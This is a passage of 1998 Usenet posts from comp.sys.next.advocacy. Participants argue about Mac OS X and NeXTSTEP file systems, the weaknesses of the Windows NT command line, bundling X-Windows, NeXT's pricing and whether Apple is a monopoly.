From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
Date: Tue, 22 Sep 1998 20:11:34 +0100
Organization: EarthLink Network, Inc.
Message-ID: <3607F662.4B9E@earthlink.net>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <hallows-2209980718290001@host-209-214-128-162.jax.bellsouth.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Joshua Moore wrote:
> MacOS X will use HFS+ as it's file system, so there shouldn't be any
> problem using "/" in file names. The only character that can't be used
> with HFS+ is ":".
Do you think it will be able to read NeXT file system, drives, and
floppies as well?
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 22 Sep 98 12:39:04
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep22123904@slave.doubleu.com>
References: <heaney-0509981648590001@24.0.246.137>
<6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com>
<6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com>
<6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com>
<6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<SCOTT.98Sep15132801@slave.doubleu.com>
<6tp0vn$m9s$1@nnrp3.snfc21.pbi.net> <6tp231$cgb$1@bunyip.cc.uq.edu.au>
<360026A9.F54C6687@ericsson.com> <6tpdpe$oko$1@nnrp4.snfc21.pbi.net>
In-reply-to: "William Edward Woody"'s message of Wed, 16 Sep 1998 15:24:19 -0700
In article <6tpdpe$oko$1@nnrp4.snfc21.pbi.net>,
"William Edward Woody" <woody@alumni.caltech.edu> writes:
Michael Peck wrote in message <360026A9.F54C6687@ericsson.com>...
>No, and it's not a substitute, either. A simple console app does not a
>CLI make. Now, install GNU-Win32 and you have something.
Question: why is the console "app" on Windows NT not a "CLI"?
Actually, I'm willing to grant that it is a "CLI". Just not that it's
a capable CLI.
As far as I can tell, it has most of the same properties: you can
define 'pipes', you can write "shell scripts", and the console can
launch all sorts of NT apps. So what's missing from the console
that makes it not a CLI? I'm honestly curious.
Regular filesystem layout, rooted filesystem layout, flexible
redirection of various file descriptors, named pipes, breadth of
commands available and consistency and flexibility of individual
commands, atrocious shell (I mean that the shell program itself hardly
competes with the ancient "sh", let alone with something like zsh or
tcsh). Part of these lacks is due to how much longer Unix has been
around than NT - part is just plain "Not Invented Here" attitudes.
Some of this is getting fixed. You can get bash and tcsh, and I'd
guess zsh for NT. But even then, NT's shell access is very much
bolted-on rather than intrinsic to the operating system. This may or
may not be acceptable when you look at the operating system as a whole
- but when you look at it entirely from the point of view of a
sysadmin type who's looking to migrate from Unix, it's the CLI that
sticks out.
And saying "well, it ain't Unix" is just a copout--I would like
specifics.
But, that gets right to my problems with it. It has a lot of
Unix-isms, but it doesn't complete the picture. The default NT CLI is
_extremely_ shallow, with few commands, and the commands it has aren't
particularily consistent or composable (for instance, more won't
accept parameters, type has a paging mode). In most cases, I can't
think of any good reason for having such incapable commands - except
perhaps that the vendor doesn't want you using the CLI.
Even with some add-on packages, I find it only moves from annoying to
acceptable.
Unfortunately, I'm too close to the topic to tell you my precise
reasons. All I know is that after four years of using NT for about
25% of my work, I always feel like I'm working with one hand behind my
back in the CLI. Contrast this with VMS. There, I didn't feel as
proficient as I do under Unix - but I felt it was because I didn't
"get it", and that if I so desired, VMS could eventually become as
useful to me as Unix has been.
I guess what I'm saying is that I feel that even after all this time,
there is still room for me to grow using a Unix CLI, still things I
could learn, and I felt that the VMS CLI would also provide plenty of
elbow room as one learns more about it. On the other hand, NT's CLI
is fairly restrictive, and one reaches the point of diminishing
returns relatively quickly (insofar as new learning effort is not
rewarded with hitherto unseen/unimagined functionality).
[Some might argue that less breadth is an _advantage_ of NT.
Actually, I see NT's CLI as having all of the disadvantages of Unix
CLIs, especially lack of documentation and novice entry points,
without many of the advantages, such as the Unix ability to very
easily chain very simple commands into very useful systems.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: allhallows@bellsouth.net (Joshua Moore)
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
Message-ID: <allhallows-2309980411380001@host-209-214-128-39.jax.bellsouth.net>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <hallows-2209980718290001@host-209-214-128-162.jax.bellsouth.net> <3607F662.4B9E@earthlink.net>
Date: Wed, 23 Sep 1998 08:11:39 GMT
NNTP-Posting-Date: Wed, 23 Sep 1998 04:11:39 EDT
In article <3607F662.4B9E@earthlink.net>, skellener@earthlink.net wrote:
>Joshua Moore wrote:
>> MacOS X will use HFS+ as it's file system, so there shouldn't be any
>> problem using "/" in file names. The only character that can't be used
>> with HFS+ is ":".
>
>Do you think it will be able to read NeXT file system, drives, and
>floppies as well?
I think OS/Mach used UFS and that's one of the supported formats, so it
probably will. If it doesn't it wouldn't be long before someone wrote a
plugin to suppport NeXT file systems.
------
"We wrote a big AppleScript, and now it's
actually running the company."
- Steve Jobs (during a Seybold Keynote)
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6u4gev$ctl$1841@hyperion.nitco.com>
Control: cancel <6u4gev$ctl$1841@hyperion.nitco.com>
Date: 21 Sep 1998 06:13:40 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6u4gev$ctl$1841@hyperion.nitco.com>
Sender: mlogdgvc@somethingfunny.net
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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From: OWSCR@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 23 Sep 1998 08:39:03 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6uac38$tek$1@nnrp1.dejanews.com>
References: <no-spam-2009981343130001@port-37-39.access.one.net> <1998Sep22.152015.6285@il.us.swissbank.com>
I find Windoze advocates iritating for the same reason I find any flavour of
christian anoying.
They go around spouting wrong headed nonsense as if it was in any way true.
They don't listen to logic.
Their arguments usually consist of "I'm right and you're wrong" or a load of
Bullshit-facting.
They regurgitate sales blurb, and rubbish other systems without having used
them.
I use Linux(with KDE), NeXTstep, MacOS and EPOC32 at home.
I have to use windows 95 at college. This is on machines which have a faster
"paper-spec" and I can honestly say that it is a step down from everything
else I run.
Windoze 95 OSR3 or whatever it's called is even worse than I remember OSR1
being.
It is slower to use on a PII than NeXtstep on my (lovely) NeXTcube is.
It is also significantly less pleasant to use.
OJH.
In article <1998Sep22.152015.6285@il.us.swissbank.com>,
Michael_Humphries-Dolnick.nospam@wdr.com wrote:
> In article <no-spam-2009981343130001@port-37-39.access.one.net>
> no-spam@one.net (MojiDoji) writes:
> > When most people get this response, they want to defend
> > their position. This is why many Mac users have this attitude, it's
> their
> > defense mechanism.
>
> Can't we all just get along??? ;-)
> When did we all become pawns in the big corps.' battle over personal
> computer superiority?
>
> --
> Michael Humphries-Dolnick
> "My opinions, not my employer's"
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: OWSCR@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
Date: Wed, 23 Sep 1998 08:49:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6uacn3$u95$1@nnrp1.dejanews.com>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <36066CCC.1C2FC4DC@trilithon.com> <36072146.95A4CFE@nstar.net> <3607D74D.B51BC700@trilithon.com> <360839F8.DB2A10D4@nstar.net>
I really do think many corporate buyers would like to be able to provide
workers with powerful easy to use desktop systems with the capability to use
Unix apps either on that machine, or on other systems.
I know that I would very much like to be able to have one box on my desk and
use that to run my Solaris and Linux stuff as well as MAC OS and Openstep
stuff.
I really don't think apple should play down too much OS X's Unix capabilities.
I would think that an alternate install would be the best policy.
Normal install would give you basic Unixey stuff, whereas expert install could
give you an X-Server and some other X stuff.
As far as I can see, the whole beauty of OS X is a fast stable Unix with a
decent tightly integrated GUI running on top.
Linux and X are OK, but editing text files to get stuff to work is too much
like using a PeeSea.
NeXtstep with X-windows and MAC OS compatibility is what Apple should be
aiming for.
OJH.
In article <360839F8.DB2A10D4@nstar.net>,
Michael Peck <mjpeck@nstar.net> wrote:
> Henry McGilton wrote:
>
> [cut]
>
> > My thinking is that people who need X-Windows are probably capable
> > enough to obtain it for themselves. If there is a big enough
> > demand, the potential may even exist for a third-party business.
> > Macintosh used to have at least two X servers available --- MacX
> > and White Pine's eXodus. I would not be surprised if they ported
> > over to Rhapsody.
>
> Certainly, but the point is that many enterprise users are going to want
> X-Windows, and I think they're numerous enough that it should be in the
> operating system. I'm not sure what you mean by "foisted upon them"
> below, but I really don't think the presence of an X Server icon is
> going to affect the average user any more than the presence of an IBM
> Host-On-Demand icon affects Windows Communicator users.
>
> I don't use X Windows for administrative use any more. I use it for
> normal development work because it gives me the power of an entire
> network, not just a single box. Remotability is underrated, in my
> opinion.
>
> It's yet another tool for the toolbox. Why leave it out?
>
> [cut]
>
> MJP
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: OWSCR@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Wed, 23 Sep 1998 08:54:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6uad0u$ujc$1@nnrp1.dejanews.com>
References: <6u24bb$m92$1@birch.prod.itd.earthlink.net> <1998Sep22.163254.8270@il.us.swissbank.com>
Hmm.
Do a dejanews search for iMac and Crash.
I have heard that some crash as often as every hour or so.
Sounds like an extension conflict or something like that though.
http://www.dejanews.com
OJH
In article <1998Sep22.163254.8270@il.us.swissbank.com>,
Michael_Humphries-Dolnick.nospam@wdr.com wrote:
> In article <6u24bb$m92$1@birch.prod.itd.earthlink.net> "Todd Arneson"
> <s124@[REMOVE]earthlink.net> writes:
> >
> > FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
>
> Don't take this wrong, I'm not being a smart*ss, Just wondering: given
> the relative new-ness of the iMac, what basis do you have for this
> statement? I haven't heard anything about a rash of iMac crashing
> problems, and I've been watching.
>
> I'm just wondering because several people I know heard they are solid,
> stable machines and are contemplating purchasing for that reason. If
> there's news about an iMac bug or crash, I'd be interested in any URL or
> Usenet reference...
>
> --
> Michael Humphries-Dolnick
> "My opinions, not my employer's"
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 22 Sep 98 12:56:03
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep22125603@slave.doubleu.com>
References: <heaney-0509981648590001@24.0.246.137> <id_est-1009980135420001@192.168.1.3>
<35F835F3.909C3E2A@ericsson.com> <6t9eqq$gjr@newsb.netnews.att.com>
<35F87337.D69A6436@nstar.net> <heaney-1109980117350001@24.0.246.137>
<6tbj44$de$2@nnrp03.primenet.com>
<*johnnyc*-1509980955000001@jchristie.halifaxcable.dal.ca>
<6tlr5v$95c$1@nnrp02.primenet.com>
<heaney-1509981559380001@24.0.246.137>
<SCOTT.98Sep15230555@slave.doubleu.com>
<heaney-1609981247100001@24.0.246.137>
In-reply-to: heaney@SolidObject.com's message of Wed, 16 Sep 1998 16:38:06 GMT
In article <heaney-1609981247100001@24.0.246.137>,
heaney@SolidObject.com (John Heaney) writes:
In article <SCOTT.98Sep15230555@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> In article <heaney-1509981559380001@24.0.246.137>,
> heaney@SolidObject.com (John Heaney) writes:
> Text is used primarily in programming because it is a legacy.
> It will eventually go the way of the Dodo, but hasn't yet
> because it is very difficult to get programmers to move to
> something brand new.
>
> "Speech is primarily used in communication because it is a
> legacy. It will eventually go the way of the Dodo, but hasn't
> yet because it is very difficult to get speakers to move to
> something different like writing, though writing is clearly
> better."
Excuse me? You don't really believe this, do you?
No, I wasn't trying to assert that these were true - I was trying to
make the point that your statement wasn't necessarily true. For that
reason, I structured my statements the same way as you structured
yours.
<snip>
Granted that I was speaking in hyperbole. Text based languages will
not really go the way of the Dodo, any more than Assembly language
programming has.
And that was my point. While initially there were certainly a lot of
people still programming in assembly because of intertia or lack of
structured language tools, at this point I'm willing to assert that
90% of people programming in assembly are doing it for what they see
as fairly good, justifiable reasons. [Many of those reasons might be
_wrong_, but at least they're generally no longer "We program assembly
because we've always programming in assembly."]
I'm not willing to argue that visual programming will never take over
the marketplace, because I don't believe that. But I am willing to
argue that textual programming will not be excluded for a _long_ time,
if only because I expect it to be heavily used within visual
programming. You might use a visual system to orient objects to each
other, and direct messages, and then use a textual system to elaborate
on what the message do.
another colleague quipped, "Using C for application development is
a premature optimization." I believe this wholeheartedly.
I'll agree with that sentiment.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 22 Sep 98 13:38:10
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep22133810@slave.doubleu.com>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com>
<36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com>
<rmcassid-1709981726120001@hephaestus.eng.uci.edu>
In-reply-to: rmcassid@uci.edu's message of Thu, 17 Sep 1998 17:26:11 -0700
In article <rmcassid-1709981726120001@hephaestus.eng.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) writes:
In article <6trjlb$18r$4@news.xmission.com>, don@misckit.com wrote:
>I'm trying to work on a review of the product
>[Objective-Everything] for Stepwise. The biggest problem is
>writing something that sounds objective (pardon the pun). This is
>a great product and it is difficult to be honest about it without
>sounding like a maniac spouting unbelievable hyperbole.
A suggestion: We've had *WAY* too many conversations with Apple and
OpenStep supporters of Mac OS X Server, and YB, and WOF, and EOF,
that go roughly like this:
Interested party: "What does <product xxx> do for me?"
In-the-know party: "Well, what do you want to do? It'll do it."
We get a lot of that for WOF from Apple - apparently there is no
single web<->db thing that WOF can not do according to them.
Unfortunately, even if it is 100% correct, it is:
a) not helpful, because the interested party often doesn't know
what the hell he/she wants to do. If you deal with MS, they _tell_
you what you want to do, and then you do it. Free thinking isn't
part of the process.
b) totally unbelievable. If you've ever dealt primarily with MS, or
Apple of old, or the Java crowd, you've learned that "It'll do
anything you want" means "It'll do cool stuff, but probably not at
all what I want or how I want it".
While I agree with the general thrust of your comments, the problem is
that if you give specific examples, often the listener then says "So
you're an object-oriented color translation layer" or something that
puts you into an equally tight niche.
When you come right down to it, describing OpenStep by specific uses
is like describing Windows NT by specific uses. If the situations
were flipped, and you described Windows NT to an OpenStep/Mach user by
saying "It can run Quicken", they're not going to be overly impressed.
If you say "It can do anything you can currently do", they won't
believe you. Catch-22.
[We get this same basic thing all the time with our product, a
scriptable document assembly tool, and it's really annoying. People
say "Do you have an API?" What can we say? We can say "Yes, we have
an API," but that doesn't solve the implication of the question -
namely, "Do you have an API that can do what we need to do?" There
are just too many things they might want to do for us to be able to
spend time providing an API just in case.
A couple years ago, I coined a standard response to give to our
marketting people. A specific usage is either supported, unsupported,
or "not unsupported". "Supported" meaning that we've specifically
looked at the topic, and it's in there. "Unsupported" meaning that
we've specifically looked at the topic, and it's not in there. "Not
unsupported" meaning that we've looked at the topic and see no reason
why we _couldn't_ do it - we just haven't bothered to do it yet.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 22 Sep 98 13:00:57
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep22130057@slave.doubleu.com>
References: <heaney-0509981648590001@24.0.246.137> <id_est-1009980135420001@192.168.1.3>
<6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com>
<heaney-1009982019280001@24.0.246.137> <35F87520.6EA871AE@nstar.net>
<6ta4m3$rbf@news1.panix.com> <35F94634.DAEFF51D@ericsson.com>
<6tkdm3$dgb@news1.panix.com>
<jdoherty-1509982337190001@aus-tx24-03.ix.netcom.com>
<6tp05f$s80@news1.panix.com>
<jdoherty-1709980042060001@aus-tx28-05.ix.netcom.com>
<6tsn9p$6c3@news1.panix.com> <6ttrk1$15u$1@nnrp02.primenet.com>
In-reply-to: John Jensen's message of 18 Sep 1998 14:44:17 GMT
In article <6ttrk1$15u$1@nnrp02.primenet.com>,
John Jensen <jjens@primenet.com> writes:
Sal Denaro <sal@panix.com> wrote:
: >And what do you mean by "the shell," anyway?
: An interactive command line interface.
: > There are lots of shells,
: >and they aren't all the same by any means.
: I never claimed they were. I suggested that much of the
: functionality that is attributed to the shell, can be utilized
: from scripting systems like AppleScript and Visual Basic for
: Applications.
If you don't mind switching to a non-interactive environment. I
don't want to disparage any higher level tools, but the interesting
thing about the shell is that the transition from issuing commands
to writing programs is kind of seamless:
That's entirely orthogonal to CLI versus scripting, though. There's
no reason the scripting language couldn't have something like Emacs
LISP mode where you can interactively type stuff in and just do it,
collecting the result into a named script.
Likewise, having a CLI doesn't guarantee that you can do things like
arrow-up and add some text. The "interface" part of "Command Line
Interface" can be changed in a variety of ways without much affecting
what you can actually _do_ at the CLI.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: OWSCR@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 23 Sep 1998 09:30:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6uaf45$gs$1@nnrp1.dejanews.com>
References: <Josh.McKee-1909981057150001@166-93-69-218.rmi.net> <1998Sep21.213316.5419@il.us.swissbank.com>
More like:
Apple Be Assorted Unices (MkLinux,PPCLinux,A/UX etc.)
| | |
MACOS BeOS |
\ | /
\ | /
Apple Hardware
DYS?
Try buying a PeeSea with Suse Linux.
Or QNX.
Or Solaris.
It isn't easy.
OJH
In article <1998Sep21.213316.5419@il.us.swissbank.com>,
Michael_Humphries-Dolnick.nospam@wdr.com wrote:
> In article <Josh.McKee-1909981057150001@166-93-69-218.rmi.net>
> Josh.McKee@cbns.com (Joshua T. McKee) writes:
> > In article <6tupg9$6fb$1@plo.sierra.com>, "Earl Malmrose"
> > <earl.malmrose@nospam.sierra.com> wrote:
> >
> > > Joe Ragosta wrote in message ...
> > > >In article
> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net>,
> > > >macghod@concentric.net (Steve Sullivan) wrote:
> >
> >
> > > >OK. The more appropriate analogy is that Compaq has a monopoly of the
> > > >Presario market and IBM has a monopoly on the ThinkPad market. It's
> the
> > > >same thing. And it's a meaningless statement.
> > >
> > > Wrong. There is a PC market, and there is a Mac market. The Mac is a
> > > platform, the PC is a platform. The Presario isn't a platform. The
> ThinkPad
> > > isn't a platform. The very same software that runs on the ThinkPad,
> runs on
> > > the Presario, and vise-versa. There is no PC monopoly. You buy a
> computer to
> > > run software. If that software can run on another system, then there's
> no
> > > monopoly. If I need to run Electric Image, I must buy an Apple
> Macintosh. If
> > > I need to run 3D Studio Max, I can buy an IBM, a Compaq, a Dell, a
> Gateway,
> > > or any other machine from many manufacturers.
> >
> >
> > God you people are stupid!
> >
> > Are you saying that Sun has a monopoly? What about SGI? What about HP?
> > All these companies make their own computers without allowing clones
> (Sun
> > at one time did but I believe has stopped that practice). Are you going
> > to tell me, with a straight face, that all these companies have a
> monopoly
> > because they are the only producers of their respective computers? That
> > should be good for a laugh.
> >
> > Joe's right...just because Apple is the only manufacturer of the
> Macintosh
> > doesn't make them a monopoly.
> >
> > Josh
>
> I think the important thing to remember here is that some companies (like
> Apple) produce both hardware and software, and others just software.
> Apple chose a long time ago to produce the hardware that their OS runs on,
> and has re-affirmed that decision by holding together the two as one
> company. Meanwhile, Microsoft has prospered as a (mostly) software-only
> company -- probably a better decision, in the long run, considering the
> low margins of hardware these days.
>
> But, perhaps a better way to put it would be this: (to paraphrase a
> previous drawing...)
>
> APPLE MICROSOFT RED HAT, SUSE, OTHERS
> | | |
> APPLE OS WINDOWS 95 LINUX
> | | |
> APPLE HARDWARE [COMPAQ, IBM, ACER, JOES' COMPUTER STORE]
>
> Clearly Microsoft has a monopoly on Windows 95, but not the machines that
> it runs on - those machines can run Linux as well. They can influence how
> those machines are sold, but so what? So does Apple! But, only one
> company -- Apple -- has a lock on all three levels, with no
> interoperability between them. (Of course, I'm speaking of NOW at this
> moment, not what hopes Apple has for the future...)
>
> --
> Michael Humphries-Dolnick
> "My opinions, not my employer's"
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: Wed, 23 Sep 1998 14:09:47 GMT
Organization: ICX Online, Inc.
Message-ID: <3608fe3b.687667@news.icx.net>
References: <6u4b54$ikv@news1.panix.com> <1998Sep22.152344.6372@il.us.swissbank.com> <36084CDA.E205A40C@trilithon.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 23 Sep 1998 14:13:15 GMT
Henry McGilton <henry@trilithon.com> wrote:
>Michael Humphries-Dolnick wrote:
>
> * The only thing that kept NEXSTEP out of the consumer
> * market was pricetag, IMHO.
>
>This last item doesn't hold water. The pricing issue has been
>thrashed around forever, and the evidence doesn't support it.
>The Next system suffered badly from lack of applications...
It suffered from a lack of applications because after the price
increases there weren't any new users to buy them.
It *was* the overpricing that lost new *and* existing users when it
jumped to $1295/$4995 for User/Dev. It drove me away.
If MacOS X Server is priced similarly, then I'll take it off my list,
and the 3rd party developers are going to suffer again. I'll feel bad
for the developers...
Michael
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
Date: 23 Sep 1998 15:22:48 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6ub3o8$kl2@shelob.afs.com>
References: <3607F662.4B9E@earthlink.net>
Steve Kellener <skellener@earthlink.net> writes
> Joshua Moore wrote:
> > MacOS X will use HFS+ as it's file system, so there shouldn't be any
> > problem using "/" in file names. The only character that can't be used
> > with HFS+ is ":".
>
> Do you think it will be able to read NeXT file system, drives, and
> floppies as well?
MOSX Server certainly does now. What would be the reason to remove it
from the "customer" release?
As to delimiters, the NSString class has a bunch of path manipulation
methods that know how to substitute "/", "\", and ":" operators, based
on which filesystem is in use.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: 23 Sep 1998 18:15:08 GMT
Organization: Michigan State University
Message-ID: <6ubdrc$2r7$1@msunews.cl.msu.edu>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy>
<360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com>
<6u5aoh$8s6$4@msunews.cl.msu.edu> <3607F58A.19A4@earthlink.net>
Mime-Version: 1.0
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Cc: skellener@earthlink.net
In <3607F58A.19A4@earthlink.net> Steve Kellener wrote:
> spammers@ruin.the.internet.channelu.com wrote:
> > Somehow it is easy to see that probably neither of these posters has ever used
> > MacOS nor most certianly NeXTstep/Openstep.
>
> Excuse me, but I have been using NeXT/Openstep since '94. I like
> NeXT/Openstep and the even the Mac OS and look foward to the new OS from
> Apple. That is why I said I could care less about the availability of
> VPC or SoftWindows. They are however there for those who choose to
> use them as well as all the UNIX benefits out there.
>
Sorry Steve K. I looked back. I scan a lot of messages a day and when I saw
Totten complaining about UNIX underneath and then your "And don't leave out
the ability to run Win '9X apps via SoftWindows or VPC" My mind somehow
didn't register the "Personally I could care less about these" to SoftWin or VPC.
(I may have thought you meant you couldn't care about MacOS apps, Carbonized,
Openstep, Java, UNIX X-Win.. :)
I guess that's what happens when you scan regularly over 20 news groups
and probably a hundred of messages every few days..
My apologies. I guess in the future I'll just not post - as its easier and less
time consuming.
Now I know why I don't see much of Don, Greg, Maury, Henry, and the
rest. It just get's too fricken time consuming to write concise clear, well
thought out and informative replies to posts that come from people who
'don't'.
Again my apologies. Back to your regular bantering.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 23 Sep 1998 19:01:53 GMT
Organization: Michigan State University
Message-ID: <6ubgj1$2r7$3@msunews.cl.msu.edu>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com>
<36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com>
<rmcassid-1709981726120001@hephaestus.eng.uci.edu> <SCOTT.98Sep22133810@slave.doubleu.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: scott@doubleu.com
In <SCOTT.98Sep22133810@slave.doubleu.com> Scott Hess wrote:
> In article <rmcassid-1709981726120001@hephaestus.eng.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) writes:
> In article <6trjlb$18r$4@news.xmission.com>, don@misckit.com wrote:
> >I'm trying to work on a review of the product
> >[Objective-Everything] for Stepwise. The biggest problem is
> >writing something that sounds objective (pardon the pun). This is
> >a great product and it is difficult to be honest about it without
> >sounding like a maniac spouting unbelievable hyperbole.
>
> A suggestion: We've had *WAY* too many conversations with Apple and
> OpenStep supporters of Mac OS X Server, and YB, and WOF, and EOF,
> that go roughly like this:
>
> Interested party: "What does <product xxx> do for me?"
>
> In-the-know party: "Well, what do you want to do? It'll do it."
>
> We get a lot of that for WOF from Apple - apparently there is no
> single web<->db thing that WOF can not do according to them.
> Unfortunately, even if it is 100% correct, it is:
>
> a) not helpful, because the interested party often doesn't know
> what the hell he/she wants to do. If you deal with MS, they _tell_
> you what you want to do, and then you do it. Free thinking isn't
> part of the process.
>
> b) totally unbelievable. If you've ever dealt primarily with MS, or
> Apple of old, or the Java crowd, you've learned that "It'll do
> anything you want" means "It'll do cool stuff, but probably not at
> all what I want or how I want it".
>
> While I agree with the general thrust of your comments, the problem is
> that if you give specific examples, often the listener then says "So
> you're an object-oriented color translation layer" or something that
> puts you into an equally tight niche.
>
> When you come right down to it, describing OpenStep by specific uses
> is like describing Windows NT by specific uses. If the situations
> were flipped, and you described Windows NT to an OpenStep/Mach user by
> saying "It can run Quicken", they're not going to be overly impressed.
> If you say "It can do anything you can currently do", they won't
> believe you. Catch-22.
I think what people really want are specific examples of things that
do work. Sure something that is extremely flexable is difficult to
write an example for everything. But if I was looking at a particular
package and someone told me it was very flexable then I'd ask
to see some specific examples so I can decide if any of them
would be applicable to my situation.
> [We get this same basic thing all the time with our product, a
> scriptable document assembly tool, and it's really annoying. People
> say "Do you have an API?" What can we say? We can say "Yes, we have
> an API," but that doesn't solve the implication of the question -
